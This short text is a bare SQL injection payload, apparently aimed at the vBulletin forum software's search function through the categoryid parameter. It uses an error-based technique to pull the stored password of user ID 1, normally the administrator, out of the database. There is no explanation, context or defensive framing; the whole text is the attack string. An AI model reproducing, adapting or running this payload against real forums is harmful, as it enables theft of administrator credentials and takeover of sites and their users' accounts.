humanverify[]=&searchfromtype=vBForum

%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99)

union select password from user where userid=1 and row(1,1)>(select count

(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union

select 2 union select 3)a group by x limit 1) -- /*